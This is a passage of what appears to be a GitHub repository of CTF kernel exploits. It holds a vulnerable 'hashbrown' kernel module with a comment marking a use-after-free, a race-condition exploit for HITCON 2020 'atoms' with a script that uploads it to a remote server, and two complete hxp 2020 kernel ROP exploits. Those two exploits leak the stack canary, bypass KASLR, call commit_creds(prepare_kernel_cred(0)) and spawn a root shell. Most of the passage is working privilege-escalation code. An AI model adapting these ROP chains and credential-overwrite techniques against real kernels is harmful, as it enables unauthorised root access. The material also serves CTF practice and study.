DELETE_VALUE: 129 | result = delete_value(idx, request.key); 130 | break; 131 | case GET_VALUE: 132 | result = get_value(idx, request.key, request.size, request.dest); 133 | break; 134 | default: 135 | result = INVALID; 136 | break; 137 | } 138 | } 139 | mutex_unlock(&operations_lock); 140 | return result; 141 | } 142 | 143 | static uint32_t get_hash_idx(uint32_t key, uint32_t size) 144 | { 145 | uint32_t hash; 146 | key ^= (key >> 20) ^ (key >> 12); 147 | hash = key ^ (key >> 7) ^ (key >> 4); 148 | return hash & (size - 1); 149 | } 150 | 151 | static noinline void resize_add(uint32_t idx, hash_entry *entry, hash_entry **new_buckets) 152 | { 153 | if (!new_buckets[idx]) 154 | { 155 | new_buckets[idx] = entry; 156 | } 157 | else 158 | { 159 | entry->next = new_buckets[idx]; 160 | new_buckets[idx] = entry; 161 | } 162 | } 163 | 164 | static noinline void resize_clean_old() 165 | { 166 | int i; 167 | hash_entry *traverse, *temp; 168 | for (i = 0; i < hashmap.size; i++) 169 | { 170 | if (hashmap.buckets[i]) 171 | { 172 | traverse = hashmap.buckets[i]; 173 | while (traverse) 174 | { 175 | temp = traverse; 176 | traverse = traverse->next; 177 | kfree(temp); 178 | } 179 | hashmap.buckets[i] = NULL; 180 | } 181 | } 182 | kfree(hashmap.buckets); 183 | hashmap.buckets = NULL; 184 | return; 185 | } 186 | 187 | static long resize(request_t *arg) 188 | { 189 | hash_entry **new_buckets, *temp_entry, *temp; 190 | request_t request; 191 | char *temp_data; 192 | uint32_t new_size, new_threshold, new_idx; 193 | int i, duplicate; 194 | 195 | if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))) 196 | { 197 | return INVALID; 198 | } 199 | if (request.size < 1 || request.size > MAX_VALUE_SIZE) 200 | { 201 | return INVALID; 202 | } 203 | 204 | new_size = hashmap.size * 2; 205 | new_threshold = GET_THRESHOLD(new_size); 206 | new_buckets = kzalloc(sizeof(hash_entry *) * new_size, GFP_KERNEL); 207 | 208 | if (!new_buckets) 209 | { 210 | return INVALID; 211 | } 212 | 213 | duplicate = 0; 214 | for (i = 0; i < hashmap.size; i++) 215 | { 216 | if (hashmap.buckets[i]) 217 | { 218 | for (temp_entry = hashmap.buckets[i]; temp_entry != NULL; temp_entry = temp_entry->next) 219 | { 220 | if (temp_entry->key == request.key) 221 | { 222 | duplicate = 1; 223 | } 224 | new_idx = get_hash_idx(temp_entry->key, new_size); 225 | temp = kzalloc(sizeof(hash_entry), GFP_KERNEL); 226 | if (!temp) 227 | { 228 | kfree(new_buckets); 229 | return INVALID; 230 | } 231 | /** 232 | * meowmeowxw 233 | * What happens if I free the value with delete_value 234 | * after temp->value has been saved? 235 | * UAF 236 | * 237 | * To be more successfull I try to free the entry with 238 | * key 0 = idx bucket 0. 239 | */ 240 | temp->key = temp_entry->key; 241 | temp->size = temp_entry->size; 242 | temp->value = temp_entry->value; 243 | resize_add(new_idx, temp, new_buckets); 244 | } 245 | } 246 | } 247 | if (!duplicate) 248 | { 249 | new_idx = get_hash_idx(request.key, new_size); 250 | temp = kzalloc(sizeof(hash_entry), GFP_KERNEL); 251 | if (!temp) 252 | { 253 | kfree(new_buckets); 254 | return INVALID; 255 | } 256 | temp_data = kzalloc(request.size, GFP_KERNEL); 257 | if (!temp_data) 258 | { 259 | kfree(temp); 260 | kfree(new_buckets); 261 | return INVALID; 262 | } 263 | if (copy_from_user(temp_data, request.src, request.size)) 264 | { 265 | kfree(temp_data); 266 | kfree(temp); 267 | kfree(new_buckets); 268 | return INVALID; 269 | } 270 | temp->size = request.size; 271 | temp->value = temp_data; 272 | temp->key = request.key; 273 | temp->next = NULL; 274 | resize_add(new_idx, temp, new_buckets); 275 | hashmap.entry_count++; 276 | } 277 | resize_clean_old(); 278 | hashmap.size = new_size; 279 | hashmap.threshold = new_threshold; 280 | hashmap.buckets = new_buckets; 281 | return (duplicate)?EXISTS:0; 282 | } 283 | 284 | static long add_key(uint32_t idx, uint32_t key, uint32_t size, char *src) 285 | { 286 | hash_entry *temp_entry, *temp; 287 | char *temp_data; 288 | if (size < 1 || size > MAX_VALUE_SIZE) 289 | { 290 | return INVALID; 291 | } 292 | 293 | temp_entry = kzalloc(sizeof(hash_entry), GFP_KERNEL); 294 | temp_data = kzalloc(size, GFP_KERNEL); 295 | if (!temp_entry || !temp_data) 296 | { 297 | return INVALID; 298 | } 299 | if (copy_from_user(temp_data, src, size)) 300 | { 301 | return INVALID; 302 | } 303 | temp_entry->key = key; 304 | temp_entry->size = size; 305 | temp_entry->value = temp_data; 306 | temp_entry->next = NULL; 307 | 308 | if (!hashmap.buckets[idx]) 309 | { 310 | hashmap.buckets[idx] = temp_entry; 311 | hashmap.entry_count++; 312 | return 0; 313 | } 314 | else 315 | { 316 | for (temp = hashmap.buckets[idx]; temp->next != NULL; temp = temp->next) 317 | { 318 | if (temp->key == key) 319 | { 320 | kfree(temp_data); 321 | kfree(temp_entry); 322 | return EXISTS; 323 | } 324 | } 325 | if (temp->key == key) 326 | { 327 | kfree(temp_data); 328 | kfree(temp_entry); 329 | return EXISTS; 330 | } 331 | temp->next = temp_entry; 332 | hashmap.entry_count++; 333 | return 0; 334 | } 335 | } 336 | 337 | static long delete_key(uint32_t idx, uint32_t key) 338 | { 339 | hash_entry *temp, *prev; 340 | 341 | if (!hashmap.buckets[idx]) 342 | { 343 | return NOT_EXISTS; 344 | } 345 | if (hashmap.buckets[idx]->key == key) 346 | { 347 | temp = hashmap.buckets[idx]->next; 348 | if (hashmap.buckets[idx]->value) 349 | { 350 | kfree(hashmap.buckets[idx]->value); 351 | } 352 | kfree(hashmap.buckets[idx]); 353 | hashmap.buckets[idx] = temp; 354 | hashmap.entry_count--; 355 | return 0; 356 | } 357 | temp = hashmap.buckets[idx]; 358 | while (temp != NULL && temp->key != key) 359 | { 360 | prev = temp; 361 | temp = temp->next; 362 | } 363 | if (temp == NULL) 364 | { 365 | return NOT_EXISTS; 366 | } 367 | prev->next = temp->next; 368 | if (temp->value) 369 | { 370 | kfree(temp->value); 371 | } 372 | kfree(temp); 373 | hashmap.entry_count--; 374 | return 0; 375 | } 376 | 377 | static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src) 378 | { 379 | hash_entry *temp; 380 | char *temp_data; 381 | 382 | if (size < 1 || size > MAX_VALUE_SIZE) 383 | { 384 | return INVALID; 385 | } 386 | if (!hashmap.buckets[idx]) 387 | { 388 | return NOT_EXISTS; 389 | } 390 | 391 | for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next) 392 | { 393 | if (temp->key == key) 394 | { 395 | if (temp->size != size) 396 | { 397 | if (temp->value) 398 | { 399 | kfree(temp->value); 400 | } 401 | temp->value = NULL; 402 | temp->size = 0; 403 | temp_data = kzalloc(size, GFP_KERNEL); 404 | if (!temp_data || copy_from_user(temp_data, src, size)) 405 | { 406 | return INVALID; 407 | } 408 | temp->size = size; 409 | temp->value = temp_data; 410 | } 411 | else 412 | { 413 | if (copy_from_user(temp->value, src, size)) 414 | { 415 | return INVALID; 416 | } 417 | } 418 | return 0; 419 | } 420 | } 421 | return NOT_EXISTS; 422 | } 423 | 424 | static long delete_value(uint32_t idx, uint32_t key) 425 | { 426 | hash_entry *temp; 427 | if (!hashmap.buckets[idx]) 428 | { 429 | return NOT_EXISTS; 430 | } 431 | for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next) 432 | { 433 | if (temp->key == key) 434 | { 435 | if (!temp->value || !temp->size) 436 | { 437 | return NOT_EXISTS; 438 | } 439 | kfree(temp->value); 440 | temp->value = NULL; 441 | temp->size = 0; 442 | return 0; 443 | } 444 | } 445 | return NOT_EXISTS; 446 | } 447 | 448 | static long get_value(uint32_t idx, uint32_t key, uint32_t size, char *dest) 449 | { 450 | hash_entry *temp; 451 | if (!hashmap.buckets[idx]) 452 | { 453 | return NOT_EXISTS; 454 | } 455 | for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next) 456 | { 457 | if (temp->key == key) 458 | { 459 | if (!temp->value || !temp->size) 460 | { 461 | return NOT_EXISTS; 462 | } 463 | if (size > temp->size) 464 | { 465 | return INVALID; 466 | } 467 | if (copy_to_user(dest, temp->value, size)) 468 | { 469 | return INVALID; 470 | } 471 | return 0; 472 | } 473 | } 474 | return NOT_EXISTS; 475 | } 476 | 477 | #pragma GCC pop_options 478 | 479 | static int __init init_hashbrown(void) 480 | { 481 | major = register_chrdev(0, DEVICE_NAME, &hashbrown_fops); 482 | if (major < 0) 483 | { 484 | return -1; 485 | } 486 | hashbrown_class = class_create(THIS_MODULE, CLASS_NAME); 487 | if (IS_ERR(hashbrown_class)) 488 | { 489 | unregister_chrdev(major, DEVICE_NAME); 490 | return -1; 491 | } 492 | hashbrown_device = device_create(hashbrown_class, 0, MKDEV(major, 0), 0, DEVICE_NAME); 493 | if (IS_ERR(hashbrown_device)) 494 | { 495 | class_destroy(hashbrown_class); 496 | unregister_chrdev(major, DEVICE_NAME); 497 | return -1; 498 | } 499 | mutex_init(&operations_lock); 500 | mutex_init(&resize_lock); 501 | 502 | hashmap.size = SIZE_ARR_START; 503 | hashmap.entry_count = 0; 504 | hashmap.threshold = GET_THRESHOLD(hashmap.size); 505 | hashmap.buckets = kzalloc(sizeof(hash_entry *) * hashmap.size, GFP_KERNEL); 506 | printk(KERN_INFO "HHHHHHHHashBrown Loaded! Who doesn't love Hashbrowns!\n"); 507 | return 0; 508 | } 509 | 510 | static void __exit exit_hashbrown(void) 511 | { 512 | device_destroy(hashbrown_class, MKDEV(major, 0)); 513 | class_unregister(hashbrown_class); 514 | class_destroy(hashbrown_class); 515 | unregister_chrdev(major, DEVICE_NAME); 516 | mutex_destroy(&operations_lock); 517 | mutex_destroy(&resize_lock); 518 | printk(KERN_INFO "HashBrown Unloaded\n"); 519 | } 520 | 521 | module_init(init_hashbrown); 522 | module_exit(exit_hashbrown); 523 | -------------------------------------------------------------------------------- /ctf/dice-2021-hashbrown/initramfs.cpio.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/dice-2021-hashbrown/initramfs.cpio.gz -------------------------------------------------------------------------------- /ctf/dice-2021-hashbrown/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Compile 4 | make 5 | 6 | # Pack fs 7 | cd ./initramfs 8 | find . | cpio -H newc -o -R root:root | gzip > ../initramfs.cpio.gz 9 | cd ../ 10 | 11 | # Run 12 | exec qemu-system-x86_64 \ 13 | -m 128M \ 14 | -nographic \ 15 | -kernel "bzImage" \ 16 | -append "console=ttyS0 quiet panic=1 kpti=1 kaslr" \ 17 | -no-reboot \ 18 | -cpu qemu64,+smep,+smap \ 19 | -monitor /dev/null \ 20 | -initrd "initramfs.cpio.gz" \ 21 | -smp 2 \ 22 | -smp cores=2 \ 23 | -smp threads=1 \ 24 | -s 25 | 26 | # -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \ 27 | -------------------------------------------------------------------------------- /ctf/hitcon-2020-atoms/README.md: -------------------------------------------------------------------------------- 1 | # Atoms 2 | 3 | Exploit written with the help of [rhackomandati](https://ctftime.org/team/117852) 4 | -------------------------------------------------------------------------------- /ctf/hitcon-2020-atoms/atoms.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/hitcon-2020-atoms/atoms.ko -------------------------------------------------------------------------------- /ctf/hitcon-2020-atoms/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/hitcon-2020-atoms/bzImage -------------------------------------------------------------------------------- /ctf/hitcon-2020-atoms/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * author: @meowmeowxw 3 | * 4 | * ctf team: https://ctftime.org/team/117852 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #define DEV_PATH "/dev/atoms" 17 | #define TOKEN 0xdeadbeef 18 | #define ATOMS_USE_TOKEN 0x4008d900 19 | #define ATOMS_ALLOC 0xc010d902 20 | #define ATOMS_RELEASE 0xd903 21 | #define ATOMS_BHO 0x8018d901 22 | #define NUM_THREAD 10000 23 | 24 | struct atoms_ioctl_alloc { 25 | long int size; 26 | }; 27 | 28 | void *access_device(void *argv) { 29 | struct atoms_ioctl_alloc arg = { 30 | .size = 0x1000, 31 | }; 32 | int fd = open(DEV_PATH, O_RDWR); 33 | printf("fd: %d\t of thread: %d\n", fd, *(int *)argv); 34 | ioctl(fd, ATOMS_USE_TOKEN, TOKEN); 35 | 36 | ioctl(fd, ATOMS_ALLOC, &arg); 37 | 38 | void *ptr = mmap(0, 0x1000, PROT_WRITE, MAP_SHARED, fd, 0); 39 | assert(ptr != MAP_FAILED); 40 | strcpy((char*)ptr, "mex"); 41 | munmap(ptr, 0x1000); 42 | 43 | close(fd); 44 | printf("end: %d\n", *(int *)argv); 45 | return NULL; 46 | } 47 | 48 | int main(int argc, char *argv[]) { 49 | pthread_t *th = malloc(sizeof(pthread_t) * NUM_THREAD); 50 | int *args = malloc(sizeof(int) * NUM_THREAD); 51 | 52 | for (int i = 0; i < NUM_THREAD; i++) { 53 | args[i] = i; 54 | pthread_create(&th[i], NULL, access_device, &args[i]); 55 | } 56 | 57 | for (int i = 0; i < NUM_THREAD; i++) { 58 | pthread_join(th[i], NULL); 59 | } 60 | 61 | return 0; 62 | } 63 | -------------------------------------------------------------------------------- /ctf/hitcon-2020-atoms/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env pyhton3 2 | 3 | import os 4 | from pwn import * 5 | import subprocess 6 | 7 | # context.log_level = "debug" 8 | 9 | r = remote('13.231.7.116', 9427) 10 | 11 | r.readuntil('hashcash ') 12 | token = r.readline() 13 | 14 | sp = subprocess.Popen("hashcash {}".format(token.decode('utf-8')), 15 | shell=True, 16 | stdout=subprocess.PIPE) 17 | token = sp.stdout.read().decode('utf-8').split(' ')[-1] 18 | print(token) 19 | r.send(token) 20 | elf = b"" 21 | with open("./exploit", "rb") as f: 22 | elf = f.read() 23 | 24 | r.recvline() 25 | r.sendline(str(len(elf))) 26 | r.recvline() 27 | 28 | r.sendline(elf) 29 | r.interactive() 30 | -------------------------------------------------------------------------------- /ctf/hitcon-2020-atoms/extract.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gzip -d -k initramfs.cpio.gz 4 | mkdir initramfs 5 | cd initramfs 6 | cpio -i --no-absolute-filename < ../initramfs.cpio 7 | 8 | -------------------------------------------------------------------------------- /ctf/hitcon-2020-atoms/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/hitcon-2020-atoms/flag.png -------------------------------------------------------------------------------- /ctf/hitcon-2020-atoms/initramfs.cpio.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/hitcon-2020-atoms/initramfs.cpio.gz -------------------------------------------------------------------------------- /ctf/hitcon-2020-atoms/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | gcc ./exploit.c -o exploit -static -lpthread 4 | cp exploit ./initramfs 5 | cd ./initramfs 6 | find . | cpio -o -H newc | gzip > ../initramfs.cpio.gz 7 | cd ../ 8 | 9 | qemu-system-x86_64 \ 10 | -kernel ./bzImage \ 11 | -initrd ./initramfs.cpio.gz \ 12 | -nographic \ 13 | -monitor none \ 14 | -cpu qemu64 \ 15 | -append "console=ttyS0 kaslr panic=-1 softlockup_panic=1" \ 16 | -no-reboot \ 17 | -m 256M -smp cores=2 18 | -------------------------------------------------------------------------------- /ctf/hxp-2020-kernel-rop/.gitignore: -------------------------------------------------------------------------------- 1 | exploit-no-kaslr 2 | -------------------------------------------------------------------------------- /ctf/hxp-2020-kernel-rop/README.md: -------------------------------------------------------------------------------- 1 | # Kernel ROP 2 | 3 | Original writeup: https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/ 4 | 5 | A writeup with more details: https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/ 6 | 7 | We have written two exploits: 8 | - [exploit without kaslr](./exploit-no-kaslr.c) | launch with `./run-nokaslr.sh` 9 | - [exploit with kaslr](./exploit.c) | launch with `./run.sh` 10 | 11 | With the help of: 12 | - [Lotus](https://twitter.com/Lotus91372171) 13 | - [D](http://cs.unibo.it/~davide.berardi6/) 14 | - [CTF team](https://ctftime.org/team/117852) 15 | -------------------------------------------------------------------------------- /ctf/hxp-2020-kernel-rop/exploit-no-kaslr.c: -------------------------------------------------------------------------------- 1 | /* 2 | * author: @meowmeowxw 3 | * 4 | * ctf team: https://ctftime.org/team/117852 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | 20 | #define PATH "/dev/hackme" 21 | #define MAX_SIZE 0x198 22 | 23 | typedef unsigned char uchar; 24 | 25 | // Prototypes 26 | void print_content(uint64_t ptr[], int size); 27 | void save_status(); 28 | uint64_t rebase(uint64_t off); 29 | void get_shell(); 30 | 31 | // Gadgets 32 | // 33 | uint64_t prepare_creds_off = 0x4c67f0, 34 | commit_creds_off = 0x4c6410, 35 | pop_rdi_ret = 0x6370, // pop rdi; ret; 36 | pop_rax = 0x4d11, // pop rax; ret; 37 | swapgs_pop_regs_iretq = 0x200f23, // pop 5 regs; swapgs; iretq; 38 | //swapgs_pop_rbp = 0xa55f, // swapgs; pop rbp; ret; 39 | //iretq = 0xc0d9, // iretq; 40 | test_al_1 = 0xa7ea8e, // test al, 1; ret; 41 | push_rax_pop_rbx_rbp = 0x4d5920, // push rax; pop rbx; pop rbp; ret; 42 | mov_rdi_rbx_pop_rbx_rbp = 0x4ee48e // mov rdi, rbx; jne 0x6ee483; pop rbx; pop rbp; ret; 43 | // mov_rdi_rbx_pop_rbx_rbp = 0x4ee48b // mov rdi, rbx; jne 0x6ee483; pop rbx; pop rbp; ret; 44 | ; 45 | 46 | // Global variables 47 | uint64_t leak[MAX_SIZE], rop[MAX_SIZE], base_address = 0, mmap_addr; 48 | void *mapped; 49 | size_t user_cs, user_ss, user_rflags, user_sp, user_rip = (size_t) get_shell; 50 | const char cat[] = {0xf0, 0x9f, 0x90, 0x88, '\0'}; 51 | 52 | int main(int argc, char **argv) { 53 | save_status(); 54 | printf("[!] user_rflags: %#016lx\n", user_rflags); 55 | printf("[!] user_sp: %#016lx\n", user_sp); 56 | printf("[!] user_cs: %#016lx\n", user_cs); 57 | printf("[!] user_ss: %#016lx\n", user_ss); 58 | printf("[!] user_rip: %#016lx\n", user_rip); 59 | printf("\n------------------------------ leak ----------------------------\n\n"); 60 | 61 | int fd, r_bytes, i; 62 | uint64_t canary, ret; 63 | 64 | fd = open(PATH, O_RDWR); 65 | if (fd < 0) { 66 | perror("open()"); 67 | exit(-1); 68 | } 69 | 70 | r_bytes = read(fd, leak, MAX_SIZE); 71 | if (r_bytes < MAX_SIZE) { 72 | perror("read()"); 73 | } 74 | print_content(leak, MAX_SIZE); 75 | 76 | canary = leak[16]; 77 | ret = leak[20]; 78 | base_address = leak[38] & 0xffffffffff000000; 79 | printf("\n\n"); 80 | printf("[*] canary: %#016lx\n", canary); 81 | printf("[*] ret address: %#016lx\n", ret); 82 | printf("[*] base address: %#016lx\n", base_address); 83 | 84 | printf("[!] time to rop\n"); 85 | 86 | for (i = 0; i < 16; i++) { 87 | rop[i] = 0xdeadbeefdeadbeef; 88 | } 89 | // index 16 goes canary 90 | rop[i++] = canary; 91 | rop[i++] = 0xdeadbeefdeadbeef; 92 | rop[i++] = 0xdeadbeefdeadbeef; 93 | rop[i++] = 0xdeadbeefdeadbeef; 94 | // index 20 goes first gadget 95 | rop[i++] = rebase(pop_rdi_ret); 96 | rop[i++] = 0; 97 | rop[i++] = rebase(prepare_creds_off); 98 | rop[i++] = rebase(push_rax_pop_rbx_rbp); 99 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 100 | rop[i++] = rebase(pop_rax); 101 | rop[i++] = 0; // Set ZF to 0 only if al == 0 102 | rop[i++] = rebase(test_al_1); 103 | rop[i++] = rebase(mov_rdi_rbx_pop_rbx_rbp); 104 | rop[i++] = 0xdeadbeefdeadbeef; // rbx 105 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 106 | rop[i++] = rebase(commit_creds_off); 107 | rop[i++] = rebase(swapgs_pop_regs_iretq); 108 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 109 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 110 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 111 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 112 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 113 | rop[i++] = user_rip; 114 | rop[i++] = user_cs; 115 | rop[i++] = user_rflags; 116 | rop[i++] = user_sp; 117 | rop[i++] = user_ss; 118 | 119 | write(fd, rop, MAX_SIZE); 120 | 121 | return 0; 122 | } 123 | 124 | uint64_t rebase(uint64_t off) { 125 | return off + base_address; 126 | } 127 | 128 | void get_shell() { 129 | printf("[#] spawn shell %s %s %s %s\n", cat, cat, cat, cat); 130 | system("/bin/sh"); 131 | return; 132 | } 133 | 134 | void save_status() { 135 | asm( 136 | "movq %%cs, %0\n" 137 | "movq %%ss, %1\n" 138 | "movq %%rsp, %3;\n" 139 | "pushfq\n" 140 | "popq %2\n" 141 | : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) 142 | : 143 | : "memory"); 144 | puts("[*] status has been saved."); 145 | } 146 | 147 | void print_content(uint64_t ptr[], int size) { 148 | for (int i = 0; i < size / 8; i++) { 149 | printf("0x%016lx\t", ptr[i]); 150 | if (!((i + 1) % 3)) { 151 | printf("\n"); 152 | } 153 | } 154 | } 155 | -------------------------------------------------------------------------------- /ctf/hxp-2020-kernel-rop/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * author: @meowmeowxw 3 | * 4 | * ctf team: https://ctftime.org/team/117852 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | 20 | #define PATH "/dev/hackme" 21 | #define MAX_SIZE 0x198 22 | 23 | typedef unsigned char uchar; 24 | 25 | // Prototypes 26 | void print_content(uint64_t ptr[], int size); 27 | void save_status(); 28 | void leak_address(uint64_t offset); 29 | void call_function(uint64_t function, uint64_t argument); 30 | void get_rax(); 31 | uint64_t rebase(uint64_t offset); 32 | 33 | // Gadgets 34 | // 35 | uint64_t commit_creds = 0x0, 36 | prepare_kernel_cred = 0x0, 37 | ksymtab_prepare_kernel_cred = 0xf8d4fc, 38 | ksymtab_commits_cred = 0xf87d90, 39 | pop_rdi_ret = 0x6370, // pop rdi; ret; 40 | pop_rax = 0x4d11, // pop rax; ret; 41 | mov_eax_rax_pop_rbp = 0x4aae, 42 | swapgs_pop_regs_iretq = 0x200f23; // pop 5 regs; swapgs; iretq; 43 | 44 | // Global variables 45 | uint64_t leak[MAX_SIZE], rop[MAX_SIZE], base_address = 0, mmap_addr, canary, ret; 46 | uint64_t rax; 47 | size_t user_cs, user_ss, user_rflags, user_sp, user_rip; 48 | int fd, r_bytes, i; 49 | const char cat[] = {0xf0, 0x9f, 0x90, 0x88, '\0'}; 50 | 51 | int main(int argc, char **argv) { 52 | fd = open(PATH, O_RDWR); 53 | if (fd < 0) { 54 | perror("open()"); 55 | exit(-1); 56 | } 57 | 58 | r_bytes = read(fd, leak, MAX_SIZE); 59 | if (r_bytes < MAX_SIZE) { 60 | perror("read()"); 61 | } 62 | print_content(leak, MAX_SIZE); 63 | 64 | canary = leak[16]; 65 | ret = leak[20]; 66 | base_address = leak[38] - 0xa157; 67 | printf("\n------------------------------ leak ----------------------------\n\n"); 68 | printf("[*] canary: %#016lx\n", canary); 69 | printf("[*] ret address: %#016lx\n", ret); 70 | printf("[*] base address: %#016lx\n", base_address); 71 | 72 | printf("[!] time to rop\n\n"); 73 | 74 | leak_address(rebase(ksymtab_commits_cred)); 75 | // write(fd, rop, MAX_SIZE); 76 | printf("[!] rax: %#016lx\n", rax); 77 | commit_creds = rebase(ksymtab_commits_cred) + (int)rax; 78 | printf("[*] commit_creds: %#016lx\n\n", commit_creds); 79 | 80 | 81 | leak_address(rebase(ksymtab_prepare_kernel_cred)); 82 | // write(fd, rop, MAX_SIZE); 83 | printf("[!] rax: %#016lx\n", rax); 84 | prepare_kernel_cred = rebase(ksymtab_prepare_kernel_cred) + (int)rax; 85 | printf("[*] prepare_kernel_cred: %#016lx\n\n", prepare_kernel_cred); 86 | 87 | 88 | call_function(prepare_kernel_cred, 0); 89 | printf("[!] rax: %#016lx\n", rax); 90 | printf("[*] kernel_cred: %#016lx\n\n", rax); 91 | 92 | call_function(commit_creds, rax); 93 | printf("[#] spawn shell %s %s %s %s\n", cat, cat, cat, cat); 94 | system("/bin/sh"); 95 | 96 | return 0; 97 | } 98 | 99 | uint64_t rebase(uint64_t offset) { 100 | return offset + base_address; 101 | } 102 | 103 | void call_function(uint64_t function, uint64_t argument) { 104 | save_status(); 105 | 106 | user_rip = (uint64_t)get_rax; 107 | memset(rop, 0, MAX_SIZE * sizeof(uint64_t)); 108 | for (i = 0; i < 16; i++) { 109 | rop[i] = 0xdeadbeefdeadbeef; 110 | } 111 | // index 16 goes canary 112 | rop[i++] = canary; 113 | rop[i++] = 0xdeadbeefdeadbeef; 114 | rop[i++] = 0xdeadbeefdeadbeef; 115 | rop[i++] = 0xdeadbeefdeadbeef; 116 | // index 20 goes first gadget 117 | rop[i++] = rebase(pop_rdi_ret); 118 | rop[i++] = argument; 119 | rop[i++] = function; 120 | rop[i++] = rebase(swapgs_pop_regs_iretq); 121 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 122 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 123 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 124 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 125 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 126 | rop[i++] = user_rip; 127 | rop[i++] = user_cs; 128 | rop[i++] = user_rflags; 129 | rop[i++] = user_sp + 8; // Adjust stack to return to main 130 | rop[i++] = user_ss; 131 | 132 | write(fd, rop, MAX_SIZE); 133 | } 134 | 135 | void leak_address(uint64_t offset) { 136 | save_status(); 137 | 138 | user_rip = (uint64_t)get_rax; 139 | memset(rop, 0, MAX_SIZE * sizeof(uint64_t)); 140 | for (i = 0; i < 16; i++) { 141 | rop[i] = 0xdeadbeefdeadbeef; 142 | } 143 | // index 16 goes canary 144 | rop[i++] = canary; 145 | rop[i++] = 0xdeadbeefdeadbeef; 146 | rop[i++] = 0xdeadbeefdeadbeef; 147 | rop[i++] = 0xdeadbeefdeadbeef; 148 | // index 20 goes first gadget 149 | rop[i++] = rebase(pop_rax); 150 | rop[i++] = offset - 0x10; 151 | rop[i++] = rebase(mov_eax_rax_pop_rbp); 152 | rop[i++] = user_sp; 153 | rop[i++] = rebase(swapgs_pop_regs_iretq); 154 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 155 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 156 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 157 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 158 | rop[i++] = 0xdeadbeefdeadbeef; // rbp 159 | rop[i++] = user_rip; 160 | rop[i++] = user_cs; 161 | rop[i++] = user_rflags; 162 | rop[i++] = user_sp + 8; // Adjust stack to return to main 163 | rop[i++] = user_ss; 164 | 165 | write(fd, rop, MAX_SIZE); 166 | } 167 | 168 | void get_rax() { 169 | asm volatile ( 170 | "mov %%rax, %0\n\t" 171 | : "=r"(rax) 172 | : 173 | : "rax" 174 | ); 175 | } 176 | 177 | void save_status() { 178 | asm( 179 | "movq %%cs, %0\n" 180 | "movq %%ss, %1\n" 181 | "movq %%rsp, %3;\n" 182 | "pushfq\n" 183 | "popq %2\n" 184 | : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) 185 | : 186 | : "memory"); 187 | } 188 | 189 | void print_content(uint64_t ptr[], int size) { 190 | for (int i = 0; i < size / 8; i++) { 191 | printf("0x%016lx\t", ptr[i]); 192 | if (!((i + 1) % 3)) { 193 | printf("\n"); 194 | } 195 | } 196 | 197 | } 198 | 199 | -------------------------------------------------------------------------------- /ctf/hxp-2020-kernel-rop/extract-vmlinux.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-only 3 | # ---------------------------------------------------------------------- 4 | # extract-vmlinux - Extract uncompressed vmlinux from a kernel image 5 | # 6 | # Inspired from extract-ikconfig 7 | # (c) 2009,2010 Dick Streefland 8 | # 9 | # (c) 2011 Corentin Chary 10 | # 11 | # ---------------------------------------------------------------------- 12 | 13 | check_vmlinux() 14 | { 15 | # Use readelf to check if it's a valid ELF 16 | # TODO: find a better to way to check that it's really vmlinux 17 | # and not just an elf 18 | readelf -h $1 > /dev/null 2>&1 || return 1 19 | 20 | cat $1 21 | exit 0 22 | } 23 | 24 | try_decompress() 25 | { 26 | # The obscure use of the "tr" filter is to work around older versions of 27 | # "grep" that report the byte offset of the line instead of the pattern. 28 | 29 | # Try to find the header ($1) and decompress from here 30 | for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` 31 | do 32 | 